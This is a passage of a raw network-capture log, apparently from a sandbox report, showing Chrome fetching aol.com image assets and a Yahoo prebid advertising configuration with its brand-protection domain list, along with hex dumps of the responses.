gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500383 Cache-Control: public, max-age=2592000 Cache-Tag: 440167204156833326679563714165722118707,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100170-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 440167204156833326679563714165722118707,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1ff1d3cd4b16518340baccfbd33bd4ca" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:22:18 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2261,owidth=50,oheight=50,obytes=3529,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21941-LGA X-Timer: S1711411311.825752,VS0,VE71 Content-Length: 2261 Connection: close
2024-05-23 22:34:54 UTC	2261	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 48 5f 89 0a 2e 67 35 4d 7d 70 83 a4 04 2b 65 04 2b 65 8b 9b b5 76 8a a7 05 2b 65 2a 45 77 16 35 6c 03 2b 65 07 2c 66 12 33 6b 13 34 6b 29 44 76 14 35 6c 74 87 a6 14 34 6b 23 3f 72 4b 62 8c 17 37 6d 27 43 75 06 2c 66 0b 2f 68 76 8a a8 21 3d 71 09 2d 67 1d 3a 6f 0f 32 6a 44 5b 86 11 32 6a 0b 2f 68 0c 30 69 1b 38 6e 10 32 6a 08 2d 67 08 2d 66 0e 31 69 1a 39 6e 0d 31 69 33 4c 7b 1e 3b 70 0c 30 68 14 34 6b 06 2c 66 0e 31 69 12 33 6a 0d 31 69 2c 45 77 27 43 75 09 2e 67 0a 2f 68 3b 52 80 0b 30 68 0c 30 69 17 36 6c 09 2d 65 03 2b 65 fc ff fd ef 6d 02 03 2b 66 f8 92 01 fc fe fc f0 6d 02 fb fe fc d1 d3 d7 04 2b 65 f0 6f 03 ee 6d 03 d1 Data Ascii: PNGIHDR22)xPLTEGpLH_.g5M}p+e+ev+e*Ew5l+e,f3k4k)Dv5lt4k#?rKb7m'Cu,f/hv!=q-g:o2jD[2j/h0i8n2j-g-f1i9n1i3L{;p0h4k,f1i3j1i,Ew'Cu.g/h;R0h0i6l-e+em+fm+eom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.6	49948	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	648	OUT	GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	585	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5251875 Cache-Control: max-age=365000000, immutable Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Etag: "530bcb090a875c0f904c395456a90b43" Last-Modified: Tue, 12 Dec 2023 15:45:13 GMT Server: ECAcc (lhd/35EF) x-amz-id-2: xSpl0J2XWJvCfCmmChz2tAg/gDFKbFrm6Q16oOIURXU/hHN+D05Vrc48T8ZCj93YR9W53xb90hA= x-amz-replication-status: COMPLETED x-amz-request-id: J9SARAQ92PB6Z7FD x-amz-server-side-encryption: AES256 x-amz-version-id: h_VPUIxbxwcQ3eXjG.3FC4NkfDv2h.bT X-Cache: HIT Content-Length: 14835 Connection: close
2024-05-23 22:34:54 UTC	14835	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 5c 00 00 01 32 08 06 00 00 00 b6 e8 68 06 00 00 39 ba 49 44 41 54 78 01 ed 9d 5f 8c 1c d7 75 e6 4f 55 0f 65 4b d1 9f 91 2d 05 96 25 98 25 c5 ce 4a 32 b2 1c c9 88 ec 00 0a 54 1c 92 8e 9f 56 94 8c bc c4 01 34 04 36 41 f2 10 8b 42 80 78 03 7b 41 0a 49 60 78 81 05 45 19 58 ef c6 01 48 01 d1 be 04 16 47 d9 17 c7 a2 86 45 c4 40 22 65 65 8e 16 b1 28 c4 81 55 34 24 d8 88 fc 67 38 94 a5 98 9c ae da 73 aa ea 0e ef 54 df 5b 5d d5 5d d5 5d 5d fd fd 80 66 77 df 5b 5d d3 ec ae fe ea d4 77 cf 3d d7 21 00 66 84 fd fe 7e 3f a2 e8 a1 98 1c 9f 28 5e e2 a6 c5 ac 2b 24 72 42 87 e2 e7 23 ba 66 35 08 be 19 12 00 2d c4 21 00 5a 8e 08 6d 9f e2 23 2c b2 7e 99 ed 1d 72 4e 46 b4 eb 49 08 2f 68 1b 10 5c d0 6a 7c 7f f9 08 1f a4 Data Ascii: PNGIHDR\2h9IDATx_uOUeK-%%J2TV46ABx{AI`xEXHGE@"ee(U4$g8sT[]]]]fw[]w=!f~?(^+$rB#f5-!Zm#,~rNFI/h\j\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.6	49954	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	362	OUT	GET /eh/prebid-config/bp-aol.json HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	740	IN	HTTP/1.1 200 OK x-amz-id-2: wxhmpGS4NKQh+A3aSfKm97j7S6+oXdzvVA9+MZicrEeIxUnU0ZyxTWb+y/526nNeR3aPUytTR7Y= x-amz-request-id: KEF4SVQS5CPMFP3C Date: Thu, 23 May 2024 22:34:55 GMT Last-Modified: Mon, 20 May 2024 23:30:20 GMT ETag: "5ecaca0f2f2144bd8f8b20581abc70d1" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=300 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 92242 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 72 61 6e 64 50 72 6f 74 65 63 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 62 61 64 76 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 31 31 31 2e 63 6f 6d 2e 74 77 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 39 36 32 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 6b 65 79 67 6f 75 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 30 32 30 75 70 74 6f 2e 75 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 31 73 74 63 65 6e 74 75 72 79 73 6d 6f 6b 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 33 36 33 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 Data Ascii: { "brandProtection": { "badv": { "1111.com.tw": true, "1962pac.com": true, "1keygou.com": true, "2020upto.us": true, "21stcenturysmoke.com": true, "2363.org": true,
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 6c 6f 6f 64 73 75 67 61 72 6f 70 74 69 6f 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 6f 75 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 6d 73 66 6f 72 73 74 61 74 65 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 73 65 6e 74 65 65 73 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 77 74 2d 70 66 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 65 62 61 72 72 79 2e 63 6f 6d Data Ascii: om": true, "abloodsugaroption.com": true, "about.com": true, "abra.com": true, "abramsforstatesenate.com": true, "absenteesc.com": true, "abwt-pf.org": true, "acebarry.com
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 64 75 6c 74 66 72 69 65 6e 64 66 69 6e 64 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6d 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 61 75 73 74 72 61 6c 69 61 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 64 65 6e 65 72 67 79 75 6e 69 74 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 6d 69 6e 6e 65 73 6f 74 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 69 6e 67 64 65 6e 76 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 65 72 74 Data Ascii: dultfriendfinder.com": true, "advamed.org": true, "advanceaustralia.org.au": true, "advancedenergyunited.org": true, "advanceminnesota.com": true, "advancingdenver.com": true, "advert
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 65 67 72 61 73 70 65 6e 64 65 72 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 66 6f 72 6a 75 73 74 69 63 65 2e 63 6f 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 66 6f 72 6e 65 77 74 6f 77 6e 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 34 65 6e 65 72 67 79 73 65 63 75 72 69 74 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 66 6f 72 63 6f 6d 6d 6f 6e 73 65 6e 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 70 72 6f 6d 6f 63 6c 75 62 2e 63 6f 6d 22 3a 20 74 72 75 Data Ascii: e, "allegraspender.com.au": true, "allforjustice.co": true, "allfornewtown.com": true, "alliance4energysecurity.com": true, "allianceforcommonsense.com": true, "allpromoclub.com": tru
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 72 69 63 61 6e 70 61 74 72 69 6f 74 70 61 63 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 6e 70 72 6f 67 72 65 73 73 61 63 74 69 6f 6e 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 6e 73 66 6f 72 70 72 6f 73 70 65 72 69 74 79 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 72 65 73 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 65 72 69 63 61 77 6f 72 6b 73 75 73 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 67 72 65 61 74 6e 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 Data Ascii: ricanpatriotpac.org": true, "americanprogressaction.org": true, "americansforprosperity.org": true, "americares.org": true, "americaworksusa.org": true, "amgreatness.com": true, "amie
2024-05-23 22:34:54 UTC	1098	IN	Data Raw: 74 73 6f 6f 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 68 6f 6e 79 6c 6f 75 62 65 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 67 65 6e 79 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 70 68 72 61 73 69 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 73 61 6e 69 74 61 72 69 79 61 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 69 76 69 72 75 73 2d 6e 65 77 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 6f 6e 69 6e 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6f 61 Data Ascii: tsook.com": true, "anthonyloubet.com": true, "antigeny.ru": true, "antiphrasiss.com": true, "antisanitariya.ru": true, "antivirus-news.com": true, "antonin.ru": true, "aoa
2024-05-23 22:34:54 UTC	45	IN	Data Raw: 20 20 20 20 20 20 20 20 22 61 73 74 72 6f 6e 61 76 74 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 Data Ascii: "astronavti.ru": true, "a
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 73 74 72 6f 6e 67 65 72 6e 65 77 6d 65 78 69 63 6f 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 73 75 2e 61 73 6e 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 68 6c 65 74 69 63 62 61 7a 61 61 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6c 61 6e 74 69 63 73 68 6f 72 65 73 77 69 6e 64 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6c 61 6e 74 69 73 65 76 65 6e 74 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6f 6f 73 61 72 65 61 73 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 72 6f 66 69 69 2e 72 75 22 3a 20 74 72 75 65 2c Data Ascii: strongernewmexico.com": true, "asu.asn.au": true, "athleticbazaar.com": true, "atlanticshoreswind.com": true, "atlantisevents.com": true, "atoosareaser.com": true, "atrofii.ru": true,
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 62 79 6f 6c 69 76 69 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 64 67 65 72 6d 61 70 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6b 6b 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6c 61 6e 64 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 6d 61 7a 6f 6e 75 6e 69 6f 6e 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 72 72 79 66 69 6e 65 67 6f 6c 64 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 73 6b 65 74 62 61 6c 6c 61 64 64 69 63 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c Data Ascii: , "babyolivia.com": true, "badgermaps.com": true, "bakkt.com": true, "balandi.ru": true, "bamazonunion.org": true, "barryfinegold.com": true, "basketballaddict.com": true,
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 20 22 62 65 74 73 74 61 72 73 6e 6a 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 6d 65 6e 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 74 6f 6d 6f 72 72 6f 77 69 6e 61 6d 65 72 69 63 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 74 65 72 77 69 74 68 6a 61 6e 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 75 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 75 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 75 73 2e 63 6f 6d 2e 70 61 22 3a 20 74 72 75 65 2c 0a 20 20 Data Ascii: "betstarsnj.com": true, "betterment.com": true, "bettertomorrowinamerica.com": true, "betterwithjane.com": true, "betuk.com": true, "betus.com": true, "betus.com.pa": true,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.6	49957	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	455	OUT	GET /cookie_sync HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:54 UTC	622	IN	HTTP/1.1 405 Method Not Allowed allow: OPTIONS, POST content-type: text/plain; charset=utf-8 vary: Origin content-length: 19 date: Thu, 23 May 2024 22:34:54 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:54 UTC	19	IN	Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0a Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.6	49950	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	657	OUT	GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback_vertical.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5167560 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:54 GMT Etag: "e2c8e7f300b16a993657a04b82efe131" Last-Modified: Mon, 08 Jan 2024 12:18:05 GMT Server: ECAcc (lhd/35E2) x-amz-id-2: mOwsamYghUAA12GPS+zgxXV4eMlnoCkA2G4x+RqGCkOoRcoRt3tTf7ht/xHp+NzEPk1VWQ4EiWs= x-amz-replication-status: COMPLETED x-amz-request-id: J7Q28T1AJBSCANRP x-amz-server-side-encryption: AES256 x-amz-version-id: 0xHl7oxSGukOJcW58WD3cqF3_WBXxCUd X-Cache: HIT Content-Length: 14326 Connection: close
2024-05-23 22:34:54 UTC	14326	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 37 34 22 20 68 65 69 67 68 74 3d 22 31 35 33 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 37 34 20 31 35 33 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 5f 39 31 36 5f 34 34 38 35 29 22 3e 0a 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 32 35 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 30 35 22 20 64 3d 22 4d 39 31 2e 32 38 37 31 20 31 35 32 2e 38 39 39 43 31 33 35 2e 30 38 39 20 31 35 32 2e 38 39 39 20 31 37 30 2e 35 39 37 20 31 35 31 2e 34 20 31 37 30 2e 35 39 37 20 31 34 39 2e 35 35 43 31 37 30 2e 35 39 37 20 31 34 37 2e 37 Data Ascii: <svg width="174" height="153" viewBox="0 0 174 153" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_916_4485)"><g opacity="0.25"><path opacity="0.05" d="M91.2871 152.899C135.089 152.899 170.597 151.4 170.597 149.55C170.597 147.7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.6	49951	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	638	OUT	GET /caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	960	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167547 Cache-Control: max-age=365000000, immutable Content-Type: image/png Date: Thu, 23 May 2024 22:34:54 GMT Etag: "1e91d02cf5a902f38f2923c006d79281" Last-Modified: Mon, 28 Nov 2022 10:20:33 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A0) x-amz-id-2: QR3JDBuaL6l20cz0ryj48ontjAMmuy1PlehEfDBb+eOWJTCO5wXN8pR8UaWgizRWMtvTAE1ow+U= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAZ1A60ZWZR20EK x-amz-server-side-encryption: AES256 x-amz-version-id: XT6LsdtqeTQbOJqBovI.LzXQgARxp1ek X-Cache: HIT Content-Length: 4904 Connection: close
2024-05-23 22:34:54 UTC	4904	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 86 00 00 00 fa 08 03 00 00 00 0b 2b 76 d8 00 00 01 dd 50 4c 54 45 47 70 4c 57 57 57 5e 5e 5e 66 66 66 6e 6e 6e 61 61 61 78 78 78 94 94 94 a6 a6 a6 8d 8d 8d 73 73 73 5c 5c 5c 9d 9d 9d 84 84 84 92 92 92 68 68 68 49 49 49 2a 2a 2a 15 15 15 00 00 00 1f 1f 1f 73 73 73 9c 9c 9c 34 34 34 7d 7d 7d 87 87 87 3e 3e 3e 53 53 53 59 59 59 6a 6a 6a 0a 0a 0a 7d 7d 7d 5e 5e 5e 20 20 20 40 40 40 70 70 70 10 10 10 80 80 80 60 60 60 30 30 30 50 50 50 07 15 0a 17 4a 24 1d 5f 2f 27 7e 3e 24 74 39 1a 54 2a 10 35 1a b3 b3 b3 e6 e6 e6 ea ea ea ff ff ff e2 e2 e2 91 91 91 dd dd dd f2 f2 f2 c5 c5 c5 ec ec ec f8 f8 f8 e3 e3 e3 ee ee ee d9 d9 d9 2a 89 44 34 a8 53 31 9e 4e 03 0b 05 d1 d1 d1 f3 f3 f3 9f 9f 9f d5 d5 d5 ef ef ef f7 Data Ascii: PNGIHDR+vPLTEGpLWWW^^^fffnnnaaaxxxsss\\\hhhIII**sss444}}}>>>SSSYYYjjj}}}^^^ @@@ppp```000PPPJ$_/'~>$t9T5*D4S1N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.6	49949	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	637	OUT	GET /caas-assets-production/assets/v1/images/modules/footer/AppStore_en.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
